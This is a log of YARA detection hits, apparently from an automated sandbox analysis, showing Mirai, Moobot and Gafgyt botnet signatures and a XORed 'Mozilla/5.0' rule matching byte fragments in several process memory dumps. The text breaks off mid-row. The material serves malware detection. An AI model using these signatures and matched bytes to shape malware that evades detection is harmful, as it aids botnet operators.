7215.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6959.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6959.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6959.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6959.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6959.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6959.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6708.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6708.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6708.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6708.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6708.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6708.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6706.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6706.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6706.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6706.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6706.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6706.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6948.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6630.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6550.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6307.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6307.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6307.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6307.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6307.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6307.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6454.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6454.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6454.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6454.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6454.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6454.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6818.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7417.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6684.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6684.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6684.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6684.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6684.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 